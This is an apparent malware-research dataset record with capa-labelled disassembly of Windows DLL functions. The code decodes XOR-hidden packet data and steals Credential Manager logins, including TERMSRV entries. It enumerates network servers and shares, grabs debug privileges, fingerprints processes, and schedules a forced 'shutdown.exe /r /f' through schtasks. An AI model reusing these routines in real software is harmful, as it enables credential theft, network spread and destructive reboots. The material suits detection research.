joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002adf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
cmp byte [ebp + 8], 2
push esi
push edi
push 0x23
mov di, cx
pop ecx
mov si, dx
mov word [eax], cx
jne 0x10002afc
push 0x2a
pop ecx
mov word [eax], cx
cmp byte [ebp + 8], 3
jne 0x10002b06
add word [eax], 0x59
movzx eax, word [eax]
push eax
call fcn.10001000
test eax, eax
je 0x10002c18
xor edx, edx
inc edx
mov byte [eax], 0x10
mov byte [eax + 0x1b], 2
mov ecx, 0x1000
cmp byte [ebp + 8], dl
jne 0x10002b49
push ebx
mov ebx, edx
push 0x23
mov word [eax + 3], bx
mov word [eax + 7], bx
pop ebx
mov word [eax + 0x1d], bx
mov word [eax + 5], si
mov dword [eax + 0xd], ecx
mov word [eax + 0x1f], di
pop ebx
cmp byte [ebp + 8], 0
jne 0x10002b61
push 0x36
mov dword [eax + 0xd], edx
pop edx
mov word [eax + 3], si
mov word [eax + 0x1d], dx
mov word [eax + 0x1f], di
cmp byte [ebp + 8], 2
jne 0x10002ba1
push 0x4a
pop edx
mov word [eax + 0x15], dx
mov word [eax + 0x19], dx
push 7
pop edx
mov word [eax + 0x21], dx
mov edx, 0x505c
mov word [eax + 0x23], dx
add edx, 0xffffffed
mov word [eax + 0x25], dx
mov edx, 0x5c45
mov word [eax + 5], si
mov word [eax + 7], si
mov dword [eax + 0x1d], 0x23
mov word [eax + 0x27], dx
cmp byte [ebp + 8], 3
jne 0x10002c18
push 0x48
pop edx
push 8
mov word [eax + 7], cx
pop ecx
push edx
mov word [eax + 0xb], cx
pop ecx
push 0x26
mov word [eax + 0x17], cx
pop ecx
push 0x59
mov word [eax + 0x1f], di
mov word [eax + 0x1d], cx
pop edi
mov ecx, edi
mov word [eax + 0x15], si
mov word [eax + 0x19], si
mov word [eax + 0x21], cx
mov word [eax + 3], dx
mov dword [eax + 0xd], 0x3e8
mov esi, str._y_u_l_u___y_______.5___m_______
lea ecx, [eax + 0x23]
mov dl, byte [esi]
xor dl, 0x25
inc esi
mov byte [ecx], dl
inc ecx
dec edi
jne 0x10002bea
cmp byte [ebp + 0xc], 0
jne 0x10002c18
mov dword [eax + 0x54], 0x12345778
mov dword [eax + 0x58], 0xabcd1234
mov dword [eax + 0x5c], 0x230100ef
mov dword [eax + 0x60], 0xab896745
pop edi
pop esi
pop ebp
ret 8
Function at 0x10003ca0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push ebx
mov bl, al
push esi
test bl, bl
jne 0x10003cb8
mov dword [ebp - 4], 0x84
cmp bl, 1
jne 0x10003cc4
mov dword [ebp - 4], 0xb68
cmp bl, 2
jne 0x10003cd0
mov dword [ebp - 4], 0x480
push dword [ebp - 4]
call fcn.10001000
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
jne 0x10003ce9
or eax, 0xffffffff
jmp 0x10003dd1
test bl, bl
jne 0x10003d08
mov eax, 0xf7ff
mov word [esi + 2], ax
call fcn.100020b2
mov word [esi + 4], ax
call fcn.100020b2
mov word [esi + 6], ax
cmp bl, 1
jne 0x10003d98
mov byte [esi + 8], 3
mov byte [esi + 0x28], 3
or ecx, 0xffffffff
mov eax, 0xffd000b0
mov dword [esi + 0xa0], eax
mov dword [esi + 0xa4], ecx
mov dword [esi + 0xa8], eax
mov dword [esi + 0xac], ecx
mov eax, 0xffdff0c0
mov dword [esi + 0xc0], eax
mov dword [esi + 0xc4], eax
mov dword [esi + 0x18c], 0xffdff190
mov dword [esi + 0x194], 0xffdff1f0
mov dword [esi + 0x1d8], 0xffd001f0
mov dword [esi + 0x1dc], ecx
mov dword [esi + 0x1e8], 0xffd00200
mov dword [esi + 0x1ec], ecx
xor eax, eax
mov cl, byte [eax + 0x100123b0]
xor cl, 0xcc
mov byte [esi + eax + 0x1f1], cl
inc eax
cmp eax, 0x977
jb 0x10003d80
push edi
cmp bl, 2
jne 0x10003db8
mov ecx, 0x10012d27
mov eax, esi
sub ecx, esi
mov edi, 0x47b
mov dl, byte [ecx + eax]
xor dl, 0xcc
mov byte [eax], dl
inc eax
dec edi
jne 0x10003dac
push dword [ebp - 4]
mov ebx, dword [ebp + 8]
push esi
call fcn.1000688f
lea esi, [ebp - 8]
mov edi, eax
call fcn.100020d0
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10006727
Capabilities:
Connect socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
push 6
xor edi, edi
inc edi
push edi
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x8004667e
push esi
mov dword [ebp - 8], edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp esi, 0xffffffff
jne 0x1000675c
or eax, 0xffffffff
jmp 0x100067a9
mov al, byte [ebx]
cmp al, 0x20
jae 0x10006757
mov edx, dword [ebp + 8]
mov edx, dword [edx]
movzx ecx, al
inc al
mov byte [ebx], al
mov dword [edx + ecx*4], esi
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 2
stosd dword es:[edi], eax
pop eax
push dword [ebp + 0x10]
mov word [ebp - 0x18], ax
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp + 0xc]
mov word [ebp - 0x16], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x14], eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
xor eax, eax
pop edi
pop esi
leave
ret 0xc

Function at 0x100067af
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push edi
push 0x100
lea eax, [ebp - 0x108]
push 0
push eax
call sub.msvcrt.dll_memset
and dword [ebp - 8], 0
xor eax, eax
lea edi, [ebp - 4]
stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
add esp, 0xc
mov dword [ebp - 0x108], eax
lea eax, [ebp - 8]
push eax
xor edi, edi
push edi
push edi
lea eax, [ebp - 0x10c]
push eax
push edi
mov dword [ebp - 4], 0xc65d40
mov dword [ebp - 0x10c], 1
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x10006887
cmp eax, edi
je 0x10006887
mov eax, dword [ebp + 0x10]
push edi
push dword [eax]
push dword [ebx]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov word [esi], ax
cmp ax, di
jle 0x10006887
mov eax, dword [ebx]
movzx eax, word [eax + 2]
push eax
call dword [sym.imp.WS2_32.dll_htons]
add ax, 4
movzx edi, ax
movzx eax, byte [ebp + 0xc]
imul edi, eax
movzx eax, word [esi]
mov ecx, eax
cmp ecx, edi
jne 0x10006853
xor eax, eax
jmp 0x1000688a
jae 0x1000684f
mov ecx, dword [ebp + 0x10]
mov ecx, dword [ecx]
movzx eax, ax
push 0
sub ecx, eax
push ecx
mov ecx, dword [ebx]
add ecx, eax
push ecx
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
movzx eax, ax
test ax, ax
jle 0x10006887
add word [esi], ax
movzx ecx, word [esi]
movzx eax, word [esi]
cmp ecx, edi
jb 0x10006855
jmp 0x1000684f
or eax, 0xffffffff
pop edi
leave
ret 0xc
Function at 0x1000688f
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
xor esi, esi
cmp dword [ebp + 8], esi
je 0x1000690e
push edi
push 0x100
lea eax, [ebp - 0x108]
push esi
push eax
call sub.msvcrt.dll_memset
xor eax, eax
add esp, 0xc
mov dword [ebp - 8], esi
lea edi, [ebp - 4]
stosd dword es:[edi], eax
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x10c]
push eax
push esi
push esi
mov dword [ebp - 4], 0xc65d40
mov dword [ebp - 0x108], ebx
mov dword [ebp - 0x10c], 1
call dword [sym.imp.WS2_32.dll_select]
pop edi
cmp eax, 0xffffffff
je 0x1000690e
cmp eax, esi
je 0x1000690e
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.WS2_32.dll_send]
xor ecx, ecx
test eax, eax
setg cl
lea eax, [ecx - 1]
jmp 0x10006911
or eax, 0xffffffff
pop esi
leave
ret 8

Function at 0x100069a2
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
add eax, 4
xor edi, edi
mov dword [ebp - 8], 1
mov ecx, eax
cmp word [eax], di
je 0x100069d0
add ecx, 2
cmp word [ecx], 0x3b
jne 0x100069cb
push 0x20
pop edx
mov word [ecx], dx
cmp word [ecx], di
jne 0x100069bc
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [ebp - 4], edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, eax
cmp ebx, edi
je 0x10006a24
cmp dword [ebp - 4], edi
jle 0x10006a1d
push esi
mov eax, dword [ebx + edi*4]
mov ecx, eax
lea esi, [ecx + 2]
mov dx, word [ecx]
add ecx, 2
test dx, dx
jne 0x100069f2
sub ecx, esi
sar ecx, 1
cmp ecx, 0x10
jae 0x10006a16
push dword [0x1001f140]
xor esi, esi
call fcn.10006fc7
and dword [ebp - 8], eax
inc edi
cmp edi, dword [ebp - 4]
jl 0x100069ea
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 8]
pop edi
pop ebx
leave
ret

Function at 0x10006a2b
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
cmp dword [ebp + 8], edi
je 0x10006ad6
mov eax, dword [ebp + 8]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10006a41
sub eax, edx
sar eax, 1
je 0x10006ad6
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
mov dword [ebp - 4], edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
cmp esi, edi
je 0x10006ad5
cmp dword [ebp - 4], edi
jle 0x10006ace
push ebx
push dword [esi]
call dword [sym.imp.SHLWAPI.dll_StrToIntW]
xor ebx, ebx
inc ebx
cmp eax, edi
jle 0x10006a87
mov dword [0x1001f760], eax
cmp dword [ebp - 4], ebx
jbe 0x10006acd
mov edi, dword [esi + ebx*4]
push 0x10013ff0
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrW]
cmp edi, eax
je 0x10006ac5
push 0x3a
push edi
call dword [sym.imp.SHLWAPI.dll_StrChrW]
test eax, eax
je 0x10006abd
xor ecx, ecx
mov word [eax], cx
push 1
add eax, 2
push eax
push edi
call fcn.10006de0
inc ebx
cmp ebx, dword [ebp - 4]
jb 0x10006a8c
jmp 0x10006acd
mov eax, dword [esi + ebx*4]
call fcn.100069a2
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
cmp dword [0x1001f760], 0
pop edi
jne 0x10006aea
mov dword [0x1001f760], 0x3c
xor eax, eax
leave
ret 4
Function at 0x100073ae
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor esi, esi
push esi
push 2
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x100073f5
push esi
lea eax, [ebp + 8]
push eax
push ebx
push dword [ebp + 0xc]
mov dword [ebp + 8], esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100073ee
cmp ebx, dword [ebp + 8]
jne 0x100073ee
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebp
ret 8
Function at 0x1000795a
Capabilities:
List domain servers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x10]
push dword [ebp + 0xc]
xor esi, esi
push eax
lea eax, [ebp - 8]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 4]
push eax
push 0x65
push esi
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.NETAPI32.dll_NetServerEnum]
cmp eax, esi
je 0x100079a1
cmp eax, 0xea
je 0x100079a1
mov dword [ebp + 0x10], esi
jmp 0x10007a00
mov edi, dword [ebp - 4]
mov dword [ebp + 0x10], 1
cmp edi, esi
je 0x10007a0e
push ebx
xor ebx, ebx
cmp dword [ebp - 8], esi
jbe 0x100079ff
add edi, 4
lea eax, [edi - 4]
test eax, eax
je 0x100079ff
test dword [edi + 0xc], 0x80000000
je 0x100079d8
push dword [edi]
push 3
push dword [ebp + 8]
call fcn.1000795a
jmp 0x100079f6
cmp dword [edi - 4], 0x1f4
jne 0x100079f6
mov eax, dword [edi + 4]
and al, 0xf
cmp al, 4
jbe 0x100079f6
push dword [ebp + 8]
mov eax, dword [edi]
xor esi, esi
call fcn.10006fc7
add edi, 0x18
inc ebx
cmp ebx, dword [ebp - 8]
jb 0x100079ba
pop ebx
cmp dword [ebp - 4], esi
je 0x10007a0e
push dword [ebp - 4]
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
mov eax, dword [ebp + 0x10]
pop edi
pop esi
leave
ret 0xc
Function at 0x10007a17
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
or dword [ebp - 8], 0xffffffff
push ebx
push edi
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
xor ebx, ebx
push ebx
xor edi, edi
push ebx
inc edi
push edi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], 0x4000
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x10007b28
push esi
push dword [ebp - 4]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
mov dword [ebp - 0x14], esi
cmp esi, ebx
je 0x10007b27
mov dword [ebp - 0xc], edi
push dword [ebp - 4]
push ebx
push esi
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
cmp eax, ebx
jne 0x10007b0d
mov dword [ebp + 0xc], ebx
cmp dword [ebp - 8], ebx
jbe 0x10007a66
lea edi, [esi + 0x14]
mov eax, dword [edi - 8]
push 2
pop ecx
and eax, ecx
cmp al, cl
jne 0x10007ab2
lea eax, [edi - 0x14]
push eax
push dword [ebp + 8]
call fcn.10007a17
jmp 0x10007afa
mov eax, dword [edi]
cmp eax, ebx
je 0x10007afa
cmp word [eax], 0x5c
jne 0x10007afa
cmp word [eax + 2], 0x5c
jne 0x10007afa
movzx edx, word [eax + 4]
cmp dx, bx
je 0x10007ae2
mov esi, edx
cmp si, 0x5c
je 0x10007ae2
inc ecx
movzx edx, word [eax + ecx*2]
mov esi, edx
cmp dx, bx
jne 0x10007ad0
push dword [ebp + 8]
xor edx, edx
mov word [eax + ecx*2], dx
mov eax, dword [edi]
add eax, 4
xor esi, esi
call fcn.10006fc7
mov esi, dword [ebp - 0x14]
inc dword [ebp + 0xc]
mov eax, dword [ebp + 0xc]
add edi, 0x20
cmp eax, dword [ebp - 8]
jb 0x10007a98
jmp 0x10007a66
cmp eax, 0x103
je 0x10007b17
mov dword [ebp - 0xc], ebx
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 0x10]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
pop esi
mov eax, dword [ebp - 0xc]
pop edi
pop ebx
leave
ret 8
Function at 0x10007b31
Capabilities:
Acquire credentials from windows credential manager

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
lea eax, [ebp - 8]
push eax
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push ebx
push ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_CredEnumerateW]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x10007c08
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], ebx
jbe 0x10007bff
push esi
push edi
mov ecx, dword [ebp - 8]
lea esi, [ecx + eax*4]
mov eax, dword [esi]
mov edi, dword [eax + 8]
cmp edi, ebx
je 0x10007bdb
mov dword [ebp - 0xc], 8
mov edx, str.TERMSRV_
mov ecx, edi
mov bx, word [ecx]
cmp bx, word [edx]
jne 0x10007bcb
add ecx, 2
add edx, 2
dec dword [ebp - 0xc]
jne 0x10007b88
xor ebx, ebx
xor ecx, ecx
xor edx, edx
cmp ecx, ebx
sete dl
cmp edx, ebx
je 0x10007bdb
add edi, 0x10
cmp dword [eax + 4], 1
jne 0x10007bdb
cmp dword [eax + 0x30], ebx
je 0x10007be1
cmp dword [eax + 0x1c], ebx
je 0x10007be1
push ebx
push dword [eax + 0x1c]
push dword [eax + 0x30]
call fcn.10006de0
jmp 0x10007be1
movzx ecx, word [ecx]
cmp cx, word [edx]
sbb ecx, ecx
and ecx, 0xfffffffe
inc ecx
xor ebx, ebx
jmp 0x10007b9f
cmp dword [eax + 4], 2
jne 0x10007bed
push dword [ebp + 8]
xor esi, esi
mov eax, edi
call fcn.10006fc7
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [ebp - 4]
jb 0x10007b6b
pop edi
pop esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CredFree]
mov eax, dword [ebp - 0x14]
pop ebx
leave
ret 4

Function at 0x10007cc0
Capabilities:
Acquire debug privileges
Get file size
Read file on windows

Disassembly:
push esi
xor esi, esi
cmp dword [0x1001f114], esi
jne 0x10007d37
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push str.SeShutdownPrivilege
mov dword [0x1001f118], eax
call fcn.100081ba
test eax, eax
je 0x10007ce5
inc esi
push str.SeDebugPrivilege
call fcn.100081ba
test eax, eax
je 0x10007cf6
or esi, 2
push str.SeTcbPrivilege
call fcn.100081ba
test eax, eax
je 0x10007d07
or esi, 4
mov dword [0x1001f144], esi
call fcn.10008677
push 0x30c
push 0x1001f148
push dword [0x1001f120]
mov dword [0x1001f104], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x10007d37
pop esi
jmp fcn.10008acf
pop esi
ret

Function at 0x10007d6f
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x618
push esi
xor esi, esi
cmp dword [0x1001f0fc], esi
je 0x10007de1
cmp dword [0x1001f11c], esi
je 0x10007de1
mov eax, dword [ebp + 8]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x10007d91
sub eax, edx
sar eax, 1
push eax
push dword [ebp + 8]
push str.127.0.0.1
call fcn.100096c7
test eax, eax
je 0x10007de1
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x618]
push eax
call fcn.10008320
test eax, eax
je 0x10007de1
lea eax, [ebp - 0x618]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x10007de1
xor esi, esi
inc esi
mov eax, esi
pop esi
leave
ret 4
Function at 0x1000835e
Capabilities:
Check if file exists
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x618
push esi
lea eax, [ebp - 0x618]
push eax
xor esi, esi
call fcn.10008320
test eax, eax
je 0x100083b1
lea eax, [ebp - 0x618]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
push esi
test eax, eax
jne 0x100083b6
push 0x4000000
push 2
push esi
push esi
push 0x40000000
lea eax, [ebp - 0x618]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov esi, ecx
mov eax, esi
pop esi
leave
ret
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x100083bd
Capabilities:
Create process on windows
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe6c
push ebx
push esi
push edi
mov esi, eax
push esi
lea eax, [ebp - 0xe6c]
push str._c__ws
push eax
xor ebx, ebx
xor edi, edi
call dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
add esp, 0xc
mov word [esi + 0x7fe], ax
mov esi, 0x30c
push esi
lea eax, [ebp - 0x66c]
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x10008432
push esi
lea eax, [ebp - 0x66c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x1000848b
push str.cmd.exe
lea eax, [ebp - 0x66c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
test eax, eax
je 0x1000848b
push 0x10
pop ecx
lea eax, [ebp - 0x10]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10008438
push 0x44
pop ecx
mov edx, ecx
lea eax, [ebp - 0x54]
mov byte [eax], bl
inc eax
dec edx
jne 0x10008446
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
lea eax, [ebp - 0xe6c]
push eax
lea eax, [ebp - 0x66c]
push eax
mov dword [ebp - 0x54], ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edi, eax
cmp edi, ebx
je 0x1000848b
mov eax, dword [ebp + 8]
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x10008494
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push edi
push 0x114
xor edi, edi
lea eax, [ebp - 0x114]
push edi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x114]
push eax
mov dword [ebp - 0x114], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x100084da
cmp dword [ebp - 0x110], 5
jbe 0x100084da
inc edi
mov eax, edi
pop edi
leave
ret
Function at 0x100084df
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe28
push ebx
push esi
push edi
lea eax, [ebp - 0x10]
push eax
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call fcn.10006973
cmp eax, 0xa
jae 0x10008504
push 0xa
pop eax
push 0x3c
pop ecx
add eax, 3
xor edx, edx
div ecx
push 0x18
pop esi
push 0x30c
mov ecx, edx
mov edx, eax
movzx eax, word [ebp - 8]
add eax, edx
xor edx, edx
div esi
movzx esi, word [ebp - 6]
lea eax, [ebp - 0x628]
push eax
add esi, ecx
mov edi, edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x100085c9
push str.shutdown.exe__r__f
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
test eax, eax
je 0x100085c9
call fcn.10008494
test eax, eax
je 0x10008594
test byte [0x1001f144], 4
mov eax, str._RU__SYSTEM_
jne 0x10008573
mov eax, 0x10014388
push esi
push edi
lea ecx, [ebp - 0x628]
push ecx
push eax
lea eax, [ebp - 0xe28]
push str.schtasks__ws_Create__SC_once__TN_____TR___ws___ST__02d:_02d
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
jmp 0x100085b2
lea eax, [ebp - 0x628]
push eax
push esi
push edi
lea eax, [ebp - 0xe28]
push str.at__02d:_02d__ws
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
xor eax, eax
mov word [ebp - 0x62a], ax
push eax
lea eax, [ebp - 0xe28]
call fcn.100083bd
mov ebx, eax
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x100085d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push dword [ebp + 0xc]
and dword [ebp - 4], 0
push dword [0x1001f120]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10008670
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1000866f
push dword [ebp + 0xc]
push dword [0x1001f120]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 8], eax
test eax, eax
je 0x1000866f
push edi
push dword [esi]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebx], eax
test eax, eax
je 0x1000866e
mov ecx, dword [esi]
mov dword [ebp + 0xc], ecx
mov ecx, dword [ebp - 8]
add ecx, 0xfffffffc
push ecx
add esi, 4
push esi
lea ecx, [ebp + 0xc]
push ecx
push eax
call fcn.1000a520
test eax, eax
jne 0x10008661
mov eax, dword [ebp + 8]
test eax, eax
je 0x10008658
mov ecx, dword [ebp + 0xc]
mov dword [eax], ecx
mov dword [ebp - 4], 1
jmp 0x1000866e
push dword [ebx]
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov eax, dword [ebp - 4]
leave
ret 8
Function at 0x10008677
Capabilities:
Encode data using xor
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
or dword [ebp - 4], 0xffffffff
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x10008755
lea eax, [ebp - 0x238]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x238], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1000874c
push ebx
push esi
push edi
lea eax, [ebp - 0x214]
mov dword [ebp - 8], 0x12345678
xor ebx, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100086d1
sub eax, edx
sar eax, 1
mov edi, eax
xor edx, edx
test edi, edi
je 0x10008706
mov esi, ebx
mov eax, esi
and eax, 3
lea ecx, [ebp + eax - 8]
mov al, byte [ebp + edx*2 - 0x214]
xor al, byte [ecx]
dec al
inc edx
inc esi
mov byte [ecx], al
cmp edx, edi
jb 0x100086ea
inc ebx
cmp ebx, 3
jb 0x100086e2
cmp dword [ebp - 8], 0x2e214b44
je 0x1000872d
cmp dword [ebp - 8], 0x6403527e
je 0x10008727
cmp dword [ebp - 8], 0x651b3005
jne 0x10008731
and dword [ebp - 4], 0xfffffffb
jmp 0x10008731
and dword [ebp - 4], 0xfffffff7
lea eax, [ebp - 0x238]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x100086bf
pop edi
pop esi
pop ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
leave
ret